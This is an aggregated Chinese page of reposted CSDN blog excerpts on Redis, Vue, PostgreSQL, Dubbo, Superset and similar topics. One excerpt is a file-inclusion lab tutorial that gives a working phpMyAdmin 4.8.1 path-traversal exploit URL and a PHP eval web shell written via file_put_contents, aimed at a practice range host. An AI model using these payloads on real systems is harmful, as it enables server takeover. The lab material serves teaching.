[课程内容 ]的搜索结果

...els.conf，内容如下： conf sentinel monitor mymaster 127.0.0.1 6379 2 sentinel down-after-milliseconds mymaster 5000 sentinel failover-timeout mymaster 60000 sentinel parallel-syncs mymaster 1 然后启动哨兵实例： bash redis-sentinel sentinels.conf 现在，当你故意关闭主节点时，哨兵会自动选举出一个新的主节点，并通知从节点进行切换。 4. 集群模式 最后，我们来看看Redis集群模式（Cluster Mode），这是一种更加复杂但也更强大的数据同步机制。集群模式允许Redis实例分布在多个节点上，每个节点都可以同时处理读写请求。 4.1 集群架构 在集群模式下，Redis实例被划分为多个槽（slots），每个槽可以归属于不同的节点。当你用客户端连到某个节点时，它会通过键名算出应该去哪个槽，然后就把请求直接发到对的节点上。这样做的好处是，即使某个节点宕机，也不会影响整个系统的可用性。 4.2 实现步骤 为了建立一个Redis集群，你需要准备至少六个Redis实例，每个实例监听不同的端口。然后，使用redis-trib.rb工具来创建集群： bash redis-trib.rb create --replicas 1 127.0.0.1:7000 127.0.0.1:7001 127.0.0.1:7002 127.0.0.1:7003 127.0.0.1:7004 127.0.0.1:7005 创建完成后，你可以通过任何节点来访问集群。例如： bash redis-cli -c -h 127.0.0.1 -p 7000 5. 总结 通过以上介绍，我们可以看到Redis提供了多种数据同步机制，每种机制都有其独特的应用场景。不管是基本的主从复制，还是复杂的集群模式，Redis都能搞定数据同步，让人放心。当然啦，每种方法都有它的长处和短处，到底选哪个还得看你自己的具体情况和所处的环境。希望今天的分享能对你有所帮助，也欢迎大家在评论区讨论更多关于Redis的话题！

本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_32447301/article/details/93423515。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 一、dvajs 开源地址：https://dvajs.com/ 1.dva dva 首先是一个基于 redux 和 redux-saga 的数据流方案，然后为了简化开发体验，dva 还额外内置了 react-router 和 fetch，所以也可以理解为一个轻量级的应用框架。 2.特性 易学易用，仅有 6 个 api，对 redux 用户尤其友好，配合 umi 使用后更是降低为 0 API elm 概念，通过 reducers, effects 和 subscriptions 组织 model 插件机制，比如 dva-loading 可以自动处理 loading 状态，不用一遍遍地写 showLoading 和 hideLoading 支持 HMR，基于 babel-plugin-dva-hmr 实现 components、routes 和 models 的 HMR 二、umijs 开源地址：https://umijs.org/ 1.umi umi是一个基于路由的框架，支持next.js类似的传统路由和各种高级路由功能，例如路由级按需加载。凭借涵盖从源代码到构建产品的每个生命周期的完整插件系统，umi能够支持各种功能扩展和业务需求。目前，umi在社区和公司内部拥有近50多个插件。 umi是Ant Financial的基本前端框架，直接或间接地为600多个应用程序提供服务，包括Java，节点，移动应用程序，混合应用程序，纯前端资产应用程序，CMS应用程序等。umi为我们的内部用户提供了很好的服务，我们希望它能够很好地为外部用户服务。 2.功能 ? 开箱即用，内置支持反应，反应路由器等。 ?Next.js 喜欢和全功能的路由约定，它也支持配置的路由 ? 完整的插件系统，涵盖从源代码到生产的每个生命周期 ? 高性能，通过插件支持PWA，路由级代码分割等 ? 支持静态导出，适应各种环境，如控制台应用程序，移动应用程序，鸡蛋，支付宝钱包等 ? 快速启动启动，支持使用config 启用dll和hard-source-webpack-plugin ? 与IE9兼容，基于umi-plugin-polyfills ? 支持TypeScript，包括d.ts定义和umi test ? 与深度集成DVA，支持鸭子目录，模型的自动加载，代码分裂等 本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_32447301/article/details/93423515。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...。例如，采用CDN（内容分发网络）可以将静态资源缓存在全球各地的边缘节点，减少用户访问延迟。而微前端架构则可以实现前端应用的解耦和模块化管理，提升前端渲染速度，从而改善用户体验。 总之，随着技术的不断发展，网站性能优化不再局限于单一的技术手段，而是需要综合运用多种技术和策略。通过结合容器化、弹性计算、CDN和合理的架构设计，企业可以构建更加高效、响应迅速的网站，为用户提供更好的体验。

本篇文章为转载内容。原文链接：https://blog.csdn.net/weixin_57714647/article/details/130878069。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 Vue选项 什么是选项？ 使用选项式 API，我们可以用包含多个选项的对象来描述组件的逻辑，例如 data、methods 和 mounted。选项所定义的属性都会暴露在函数内部的 this 上，它会指向当前的组件实例。 以上是官网对于选项的概念，简单的说，选项是一组由Vue定义好的对象，你可以将你的代码写在指定的选项中，从而获得一些 “特异功能” 。 注：由于选项是Vue规定好的，因此在使用中我们不能更改其名称，也不可以重复定义 常用选项 1. data选项 必须是一个函数，将组件需要使用的变量定义在此函数的返回值对象中，定义的变量将会获得一个“特异功能” ---- 响应式 <template><div><!-- 在这里使用插值表达式将name渲染到页面 -->{ { name } }</div></template><script>export default {// data选项data(){return{// name是响应式的name:"Jay",} },}</script> 上面例子中的name就是一个响应式数据，在值发生改变时，视图（页面）上的name也会发生变化，那我们便可以通过操作name的变化去使视图发生变化，而不用进行繁琐的DOM操作，这也体现着Vue框架的 数据驱动 这一核心思想。 为什么数据要定义在data函数的返回值中，而不是定义在一个对象中？ 将数据定义在函数返回值中，可以确保每产生一个组件实例，都会调用一次函数，并返回一个新的对象，开辟一块新的空间。 如果将数据定义在对象中，可能会出现类似于浅拷贝中出现的问题，即多个组件实例指向同一块空间，一个组件实例修改数据，则全部数据发生变化。 2. methods选项 此选项是一个对象，其中存放着该组件要使用的函数，比如事件的回调函数… <template><div><!-- 添加点击事件，事件回调函数在methods中定义 --><button @click="add">点击加一</button> <p>{ { count } }</p></div></template><script>export default {data(){return{count:0,} },// 在methods中定义函数（方法）methods:{add(){// 在函数中要使用data中的变量，需加thisthis.count++},} }</script> 通过点击事件改变count的值，从而使页面上的值随之变化，再次体现 数据驱动 的核心思想 3. computed 计算属性 计算属性，对象形式，顾名思义，在计算属性中保存着一系列需要经过运算得出的属性 <template><p>路程：{ { distance } } km</p><p>速度：{ { speed } } km/h</p><!-- 使用计算属性，与变量的使用相同 --><p>花费的时间：{ { time } } h</p></template><script>export default {data() {return {distance: 1000,speed: 50,} },computed: {// 定义计算属性，类似于函数的定义，返回值就是该计算属性的值time() {return this.distance / this.speed} }}</script> 计算属性内部所依赖的数据发生变化时, 计算属性本身就会自动重新计算返回一个新的计算值并缓存起来。 计算属性内部所依赖的数据没有发生变化, 计算属性会直接返回上一次缓存的值。 因此上面例子中的distance（路程）与speed（速度）无论如何变化，time都会计算出正确的值。 4. directives 选项, 定义自定义指令( 局部指令 ) 在上节，我们学习了一些Vue内置指令，功能十分强大，那么我们可以自己定义一些指令吗？ 当然可以！我们可以在directives选项中创建自定义指令。 <template><!-- 使用自定义指令 --><div v-myshow="1"></div><div v-myshow="0"></div></template><script>export default {// 在directives中定义一个自定义指令，来模仿v-show的功能directives: {//el:添加自定义指令的元素；binding：指令携带的参数myshow(el, binding) {if (binding.value) {el.style.display = "block";} else {el.style.display = "none";} }} }</script><style scoped>div {width: 100px;height: 100px;background-color: red;margin: 10px;}</style> 像以上这种，在组件中定义的指令是局部指令，只能在本组件中使用，全局指令需要在main.js文件中定义，全局指令在任何.vue文件中都可使用。 注意: 当局部指令和全局指令冲突时, 局部指令优先生效. var app = createApp(App)//定义全局指令 app.directive("myshow", (el, binding) => {if (binding.value) {el.style.display = "block";} else {el.style.display = "none";} })// 全局指令可在任何组件使用 5. components组件选项（注册局部组件） 在一个组件中我们可能会使用到其他组件，在将组件引入后，需要在components中进行注册，才能使用。 <template><!-- 使用组件 --><Test /></template><script>// 引入组件import Test from './Test.vue'export default {// 注册组件components: {Test},}</script> 局部组件只能在当前组件内部使用，需要在任何组件中使用，需要在main.js文件中注册为全局组件 // 引入组件import Test from './Test.vue'// 注册全局组件，可在所有.vue文件中使用app.component('Test',Test); 6. 其他 filters 选项, 定义过滤器，vue2中使用，Vue3中已经弃用 mounted 等生命周期函数选项，我们在下节进行详细讲解… 本篇文章为转载内容。原文链接：https://blog.csdn.net/weixin_57714647/article/details/130878069。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...、更经济实惠。 以上内容仅是针对RocketMQ版本与服务器环境不兼容问题的一个浅显探讨，具体实践中还涉及到更多细节和技术挑战，这都需要我们不断学习、实践和总结，方能在技术海洋中游刃有余。

...证码、限制用户提交的内容类型等等。这些都是值得我们深入研究和实践的技术。 总的来说，防止访问网站时出现的安全性问题，如跨站脚本攻击（XSS）或SQL注入，是一项非常重要的任务。作为开发小哥/小姐姐，咱们得时刻瞪大眼睛，绷紧神经，不断提升咱的安全防护意识和技术能力。这样一来，才能保证我们的网站能够安安稳稳、健健康康地运行，不给任何安全隐患留空子钻。只有这样，我们才能赢得用户的信任和支持，实现我们的业务目标。"

...RY.conf 文件内容如下： standby_mode = 'on' primary_conninfo = 'host=master_host port=5432 user=replication_user password=your_password' -- 刷新从库并启动复制进程 pg_ctl restart -D /path/to/your_slave_node_data_directory 3.2 监控与故障切换 当主库出现故障时，可以手动提升从库为新的主库。但为了实现自动化，通常会借助 Patroni 或者其它集群管理工具来管理和监控整个复制过程。 4. 逻辑复制实践 4.1 创建发布与订阅 逻辑复制需在主库上创建发布（publication），并在从库上创建订阅（subscription）： postgresql -- 在主库上创建发布 CREATE PUBLICATION my_pub FOR TABLE table1, table2; -- 在从库上创建订阅 CREATE SUBSCRIPTION my_sub CONNECTION 'dbname=your_dbname host=master_host user=replication_user password=your_password' PUBLICATION my_pub; 4.2 实时同步与冲突解决 逻辑复制虽然提供更灵活的数据分发方式，但也可能引入数据冲突的问题。所以在规划逻辑复制方案的时候，咱们得充分琢磨一下冲突检测和解决的策略，就像是可以通过触发器或者应用程序自身的逻辑巧妙地进行管控那样。 5. 结论与思考 PostgreSQL的数据复制机制为我们提供了可靠的数据冗余和扩展能力，但同时也带来了一系列运维挑战，如复制延迟、数据冲突等问题。在实际操作的时候，我们得瞅准业务的特性跟需求，像挑衣服那样选出最合身的复制策略。而且呢，咱们还得像个操心的老妈子一样，时刻盯着系统的状态，随时给它调校调校，确保一切运转正常。甭管是在追求数据完美同步这条道上，还是在捣鼓系统性能提升的过程中，每一次对PostgreSQL数据复制技术的深入理解和动手实践，都像是一场充满挑战又收获满满的探险之旅。 记住，每个数据库背后都是鲜活的业务需求和海量的数据故事，我们在理解PostgreSQL数据复制的同时，也在理解着这个世界的数据流动与变迁，这正是我们热衷于此的原因所在！

...总结与展望 通过上述内容，我们了解了如何在MyBatis项目中正确配置全文搜索功能，并探讨了一些实际操作中可能遇到的问题及解决策略。全文搜索这东西挺强大的，但你得小心翼翼地设置才行。要是设置得好，不仅能让人用起来更爽，还能让整个应用变得更全能、更灵活。 当然，这只是全文搜索配置的一个起点。随着业务越做越大，技术也越来越先进，我们可以试试更多高大上的功能，比如支持多种语言，还能处理同义词啥的。希望本文能对你有所帮助，如果有任何疑问或想法，欢迎随时交流讨论！ --- 希望这篇文章能够帮助到你，如果有任何具体的需求或者想了解更多细节，随时告诉我！

本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_45584157/article/details/117958700。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 原网站：https://www.cnblogs.com/minghost/p/11941668.html scroll组件：<template name="scroll"><view class=""><view class="all"><scroll-view class="nav-bar" scroll-x @scroll="scroll"><!-- 要想使用flex布局实现横向滚动，就要在scroll-view里加一层容器包裹，并且使用子组件才会出现滚动效果 --><view class="nav-bar-wrap"><block v-for="(item,index) in navbarArr" :key="index"><view class="nav-bar-item" @click="onNavbarItem(item.id)" :id="item.id"><image :src="item.pic_url" /><text>{ {item.name} }</text></view></block></view></scroll-view></view><view class="slider"><view class="slider-inside .slider-inside-location" :style="{left:lefts}"></view></view></view></template><script>export default {name: "scroll",data() {return {lefts:0} },props: {navbarArr: {type: Array},left: {type: Number} },created: function(e) {console.log(this.left,"leftinfo")},methods: {onNavbarItem(id) {console.log(id)// const id = options.currentTarget.dataset.id// wx.navigateTo({// url: /pages/mysignup/mysignup?id=${id},// })},scroll(event) {let that = thisconsole.log(event)let scrollLeft = event.detail.scrollLeft;let scrllWidth = event.detail.scrollWidth - 375;// that.left = ${(scrollLeft) / scrllWidth 100}%// this.$emit("changeLeft",that.lefts)// 32是剩余要滑动的地方let newLeft = scrollLeft / scrllWidth 32that.lefts =newLeft + 'rpx'} }}</script><style>.all {position: relative;height: 330rpx;overflow: hidden;background: fff;}scroll-view {white-space: nowrap;}/ 去除滚动条 /::-webkit-scrollbar {display: none;width: 0;height: 0;color: transparent;}.nav-bar-wrap {display: flex;flex-flow: column wrap;height: 330rpx;}.nav-bar-item {width: 187.5rpx;display: flex;flex-direction: column;align-items: center;padding-top: 28rpx;}.nav-bar-item image {display: block;height: 90rpx;width: 90rpx;margin: 0;}.nav-bar-item text {margin-top: 5rpx;line-height: 32rpx;font-size: 25rpx;}.slider {position: relative;margin-left: 50%;/ left: 50%; /transform: translateX(-50%);width: 64rpx;height: 6rpx;border-radius: 3rpx;background: eee;}.slider-inside {/ transform: translateX(-50%); /width: 32rpx;height: 100%;border-radius: 3rpx;background-color: 11BEA7;}.slider-inside-location {position: absolute;/ left: 50%; /}</style> 使用组件：<template><view><scroll :navbarArr="navbarArr" :left="left" @changeLeft="changeLeft"></scroll></view></template><script>import scroll from "../../components/scroll.vue"export default {components:{scroll},data() {return {navbarArr: [{pic_url: '../static/images/ic_57@2x.png',name: '骨科',id: 1},{pic_url: '../static/images/ic_59@2x.png',name: '检验科',id: 2},{pic_url: '../static/images/ic_56@2x.png',name: '外壳',id: 3},{pic_url: '../static/images/ic_53@2x.png',name: '口腔科',id: 4},{pic_url: '../static/images/ic_54@2x.png',name: '猫科',id: 5},{pic_url: '../static/images/ic_52@2x.png',name: '内科',id: 6},{pic_url: '../static/images/ic_50@2x.png',name: '皮肤科',id: 7},{pic_url: '../static/images/ic_52@2x.png',name: '肾病',id: 8},{pic_url: '../static/images/ic_58@2x.png',name: '血透科',id: 9},{pic_url: '../static/images/ic_62@2x.png',name: '肾病',id: 10},{pic_url: '../static/images/ic_64@2x.png',name: '血透科',id: 11},],left:0.65625} },methods: {changeLeft(e){let that = thisthat.left = e} },}</script> 本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_45584157/article/details/117958700。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...布式系统架构。 以上内容仅为简要介绍，实际使用 RocketMQ 时，还需深入理解其内部工作机制，结合具体业务场景定制解决方案。希望这个指南能帮助你更好地驾驭 RocketMQ，打造稳健的消息传递平台。

... 以上就是今天的全部内容，感谢阅读，希望你能从中获得启发并有所收获。如果你有任何疑问或想了解更多关于RabbitMQ的内容，请随时告诉我！

本篇文章为转载内容。原文链接：https://blog.csdn.net/weixin_30561425/article/details/95164045。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 java的问题： 1.性能：java的内存管理似乎比较自动化，但其实性能不是特别好。尤其是new对象的时候没有节制。在java中，有些对象构造成本很低，有些 很高。特别在UI编程的时候，大多数的UI对象其构建成本都比较高昂。如果在开发过程中没有节约意识，肯定会导致JVM不停的GC，系统表现很卡的样子， 当然，彻底的当掉可能还不会，但基本上工作已经是非常的缓慢的了。 2；引用：JAVA中其实在大量的使用对象引用，对象引用可以减少内存占用，不去构建不必要的对象。但事实上，多数程序员对引用的理解不是很到位，结果导致过多不必要的对象构建，虚耗内存。代码可读性也不佳，编写的时候尤其觉的疲惫。 3；面向对象：java是面向对象的语言，但是它有基础类型，这些基础类型不是面向对象的，不能当作引用传递。一般来说，这些基础类型可以用来表示 一个对象的状态。java中的对象一定要包含状态，没有状态的对象其实是不存在的，没有状态的东西不是对象，而是一个行为集合。但是java中没有一个明 确的结构来表达这个情况，所以只能写一个类来表示，同时将这个类的构造定义成私有的，防止被别人构建。这个时候的类的作用等同与命名空间。java在面向 对象的支持方面其实是很残缺的，缺乏很多必要的支持，比如虚函数，多重继承，友元。这种残缺，导致设计困难，所以java的系统都十分的罗嗦。 4：复杂：java越来越复杂了。注解，泛型，枚举，特性很多。 5：不可变：java支持不可变，但是大多数人并不了解这个主题。不可变系统其实比较容易实现，同时也不容易出错。但是java是基于引用的系统，不可变会导致大量的内存问题。JVM缺乏尾递归优化，这其实也是一个问题。 转自：http://my.oschina.net/clarkhill/blog/59546 转载于:https://www.cnblogs.com/yangh2016/p/5762333.html 本篇文章为转载内容。原文链接：https://blog.csdn.net/weixin_30561425/article/details/95164045。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...appy识别或处理的内容时，就会抛出此错误。 - 内存限制：如果系统的可用内存不足，可能导致Snappy在压缩过程中失败。 - Snappy库内部错误：极少数情况下，可能是Snappy库本身存在bug或者与当前系统环境不兼容导致的。 3. 遇到Datacompressionerror的排查方法 假设我们在使用Etcd的过程中遭遇了此类错误，可以按照以下步骤进行排查： 步骤一：检查日志 查看Etcd的日志输出，定位错误发生的具体事务以及可能触发异常的数据内容。 步骤二：模拟压缩 通过编写类似上面的代码片段，尝试用Snappy压缩可能出现问题的数据部分，看是否能重现错误。 步骤三：资源监控 确保服务器有足够的内存资源用于Snappy压缩操作。可以通过系统监控工具（如top、htop等）实时查看内存使用情况。 步骤四：版本验证与升级 确认使用的Etcd及Snappy库版本，并查阅相关文档，看看是否有已知的关于数据压缩问题的修复版本，如有必要，请及时升级。 4. 解决Datacompressionerror的方法与实践 针对上述原因，我们可以采取如下措施来解决Datacompressionerror： - 清理无效数据：若发现特定的键值对导致压缩失败，应立即移除或修正这些数据。 - 增加系统资源：确保Etcd运行环境拥有足够的内存资源以支持正常的压缩操作。 - 升级依赖库：如确定是由于Snappy库的问题引起的，应尽快升级至最新稳定版或已知修复该问题的版本。 go // 假设我们需要删除触发压缩错误的某个键值对 import ( "go.etcd.io/etcd/clientv3" ) func deleteKey(client clientv3.Client, key string) error { _, err := client.Delete(context.Background(), key) return err } // 调用示例 err := deleteKey(etcdClient, "problematic-key") if err != nil { log.Fatal(err) } 总之，面对Etcd中的"data compression error"，我们需要深入了解其背后的压缩机制，理性分析可能的原因，并通过实例代码演示如何排查和解决问题。在这个过程中，我们不光磨炼了搞定技术难题的硬实力，更是亲身感受到了软件开发实战中那份必不可少的探索热情和动手实践的乐趣。就像是亲手烹饪一道复杂的菜肴，既要懂得菜谱上的技术窍门，也要敢于尝试、不断创新，才能最终端出美味佳肴，这感觉倍儿爽！希望这篇文章能帮助你在遇到此类问题时，能够快速找到合适的解决方案。

...度挖掘业务逻辑的日志内容，精细化的多行合并策略更是必不可少。通过对日志结构进行深入理解并合理运用正则表达式，不仅可以确保数据分析结果的准确性和完整性，更能助力企业实现高效运维、故障排查及安全审计。 因此，理解和掌握在Logstash或其他日志处理工具中处理多行日志合并的方法，对于提升整个IT基础设施的数据洞察力具有重要的现实意义。在这个快速迭代的数字化时代，紧跟技术发展趋势，不断更新和完善日志管理实践，无疑将为企业带来更为显著的技术竞争优势。

...件，并在其中添加如下内容： properties dubbo.consumer.check.disable=true 这行代码的意思是关闭Dubbo的消费端检查功能，因为我们在使用熔断时并不需要这个功能。然后，我们可以添加如下代码来配置熔断时间窗口： properties dubbo.protocol.checker.enabled=true dubbo.protocol.checker.class=com.alibaba.dubbo.rpc.filter.TimeoutChecker dubbo.protocol.checker.timeout=5000 这段代码的意思是启用Dubbo的检查器，并设置其为TimeoutChecker类，同时设置检查的时间间隔为5秒。在TimeoutChecker类中，我们可以实现自己的熔断时间窗口逻辑。 使用注解配置熔断时间窗口 除了使用配置文件外，我们还可以使用注解的方式来配置熔断时间窗口。首先，我们需要引入Dubbo的相关依赖，然后在我们的服务接口上添加如下注解： java @Reference(timeout = 5000) public interface MyService { // ... } 这段代码的意思是在调用MyService服务的方法时，设置熔断时间窗口为5秒。这样一来，当你调用这个方法时，如果发现它磨磨蹭蹭超过5秒还没给个反应，咱们就立马启动“熔断”机制，切换成常规默认的服务来应急。 使用sentinel进行熔断控制 Sentinel是一款开源的流量控制框架，可以实现流量削峰、熔断等功能。在Dubbo中，我们可以通过集成Sentinel来进行熔断控制。首先，咱们得在Dubbo的服务注册中心那儿开启一个Sentinel服务器，这一步就像在热闹的集市上搭建起一个守护岗亭。然后，得给这个 Sentinel 服务器精心调校一番，就像是给新上岗的哨兵配备好齐全的装备和详细的巡逻指南，这些也就是 Sentinel 相关的参数配置啦。接下来，咱们可以在Dubbo消费者这边动手启动一个Sentinel小客户端，并且得把它的一些相关参数给调校妥当。好嘞，到这一步，咱们就能在Dubbo的服务接口上动手脚啦，给它加上Sentinel的注解，这样一来，就可以轻轻松松实现服务熔断控制，就像是给电路装了个保险丝一样。 总结 在微服务架构中，服务调用的容错问题是一个非常重要的环节。设置一下Dubbo的熔断机制时间窗口，就能妥妥地拦住那些可能会引发系统大崩盘的服务调用异常情况，让我们的系统稳如泰山。同时，我们还可以通过集成Sentinel来进行更高级的流量控制和熔断控制。总的来说，熔断机制这个东东，可真是个超级实用的“法宝”，咱在日常开发工作中绝对值得大大地推广和运用起来！

本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_45300786/article/details/108724251。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 为了防止代码重复，我们就有了，文件包含。很多网页如果要用到很多同样的函数，那么我们就可以使用这个文件包含函数，就避免了每个网页又去重复造轮子。 在index.php文件里包含1.txt，而1.txt的内容是phpinfo(),include函数包含1.txt，就会把1.txt的内容当成php文件执行，不管后缀是什么。1.txt也好，1.xml也好，只要里面是php代码，然后有被include函数包含，那么就被当成PHP文件执行。 如果包含的文件不存在，就会出现致命的错误，并报出绝对路径，然是不影响其他功能的执行，比如这里的nf和123的输出。那么就表明include函数，如果出现错误的话，并不会影响其他功能的运行。 如果包含的文件不存在，就会出现致命的错误，并报出绝对路径，影响后面功能的执行，比如这里的nf的输出，后面的功能因为2.txt报错，导致123未执行。那么就表明require函数，如果出现错误的话，会影响后面功能的运行。 只要文件内是php代码，文件包含是不在意文件后缀的。 12345.jpg的传参值是a，那么我们可以写传参值=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’) 然后生成一个新的php文件 访问index.php 以上我们接触的全部是本地文件包含 说了本地文件包含，我们再来看远程文件包含 简单来说远程文件包含，就是可以包含其他主机上的文件，并当成php代码执行。 要实现远程文件包含的话，php配置的allow_url_include = on必须为on（开启） 来我们可以来实验一下，把这个配置打开。 “其他选项菜单”——“打开配置文件”——“php-ini” 打开配置文件，搜索allow_url_include 把Off改为On，注：第一个字母要为大写 之后要重启才能生效。 配置开启后，我们来远程文件包含一下，我们来远程包含一下kali上的1.txt，可以看到没有本地包含，所以直接显示的内容。 那我们现在来远程包含一下kali的这个1.txt，看会不会有phpinfo，注意我这里是index文件哦，所以是默认的。 可以看到，包含成功！ 这里可以插一句题外话，如果是window服务器的话，可以让本地文件包含变成远程文件包含。需要开始XX配置，SMB服务。 这里我们可以发现，进入一个不存在的目录，然后再返回上一级，相当于没变目录位置，这个是不影响的，而且这个不存在的目录随便怎么写都可以。 但是php是非常严格的，进入一个不存在的目录，这里目录的名字里不能有？号，否则报错，然后再返回上一级，相当于没变目录位置，这个是不影响的，而且这个不存在的目录随便怎么写都可以。 实战 注意，这里php版本过低，会安装不上 安装好后，我们来解析下源码 1.txt内容phpinfo() 来本地文件包含一下，发现成功 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/../11.txt 靶场 http://59.63.200.79:8010/lfi/phpmyadmin/ 先创建一个库名：nf 接着创建表：ff,字段数选2个就行了 然后选中我们之前创建好的库名和表名，开始写入数据，第一个就写个一句话木马，第二个随便填充。 然后我们找到存放表的路径。 这里我们要传参2个，那么就加上&这里我们找到之后传参phpinfo http://59.63.200.79：8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=phpinfo(); 因为a在ff.frm里 <?php eval($_REQUEST[a])?>注意，这里面没有分号和单引号 文件包含成功 用file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马 http://59.63.200.79：8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a])?>’); <?php eval($_REQUEST[a])?>注意，这里面没有分号和单引号 写入成功后，我们连接这个8.php的木马。 http://59.63.200.79：8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/8.php 在线测试时这样，但是我在本地测试的时候，还是有点不一样的。我就直接上不一样的地方，前面的地方都是一样的 1，创建一个库为yingqian1984, 2，创建一个表为yq1984 3，填充表数据,因为跟上面一样，2个字段一个木马，一个随便数据 4，找数据表的位置，最后我发现我的MySQL存放数据库的地方是在 C:\ProgramData\MySQL\MySQL Server 5.7\Data\yingqian1984 文件包含成功。 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=phpinfo(); 用file_put_contents(‘9.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=file_put_contents(‘9.php’,’<?php eval($_REQUEST[a])?>’); <?php eval($_REQUEST[a])?>注意，这里面没有分号和单引号 传参成功 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/9.php?a=phpinfo(); 本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_45300786/article/details/108724251。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...perset中。这篇内容，咱们打算用一种超级接地气、掰开了揉碎了讲还贼好玩的对话形式，手把手教你咋在Superset里头添加新的数据源，包你一看就懂！ 1. 理解Superset的数据源 首先，让我们来思考一下“数据源”在Superset中的角色。想象一下这样的情景，Superset就像是那个无所不知、超级博学的图书管理员，而你手里的各种数据库，比如MySQL、PostgreSQL、SQL Server这些家伙，就相当于那一排排满满当当装着书籍的书架。为了让图书管理员能轻松地找到并读懂这些书（其实就是数据啦），我们就得先给哥儿们指明每个书架的具体位置，这就相当于配置好了数据源。现在，就让我们开始动手设置你的第一个“书架”吧！ 2. 登录Superset并进入数据源管理界面 启动你的Superset服务，打开浏览器访问Superset的URL。登录后，你会看到主界面，这里我们径直前往“Sources”（或翻译为“数据源”）菜单，点击进入。瞧瞧这个界面，现在展示的是当前咱有的所有数据源列表，不过现在它还空荡荡的呢，因为我们还没把任何新朋友拽进来填充它呀。 3. 创建新数据源 以MySQL为例 3.1 开始创建 点击右上角的“+”按钮，选择“Database”开始创建新的数据源。这时候，Superset会要求填写一系列关于这个数据源的信息。 3.2 填写数据源信息 - Database Name：给你的数据源起个易记的名字，比如“我的MySQL数据库”。 - SqlAlchemy URI：这是连接数据库的关键信息，格式如下： python mysql://username:password@host:port/database 例如： python mysql://myuser:mypassword@localhost:3306/mydatabase 请根据实际情况替换上述示例中的用户名、密码、主机地址、端口号以及数据库名。 - Metadata Database：通常保持默认值即可，除非你在进行特殊配置。 完成上述步骤后，点击"Save"按钮保存配置。 3.3 测试连接 保存后，Superset会尝试用你提供的信息连接到数据库。如果一切顺利，恭喜你！你的“书架”已经被成功地添加到了Superset的“图书馆”中。如果遇到问题，别担心，仔细检查你的连接字符串是否正确无误。 4. 探索与使用新数据源 一旦数据源创建成功，你就可以在Superset中通过SQL 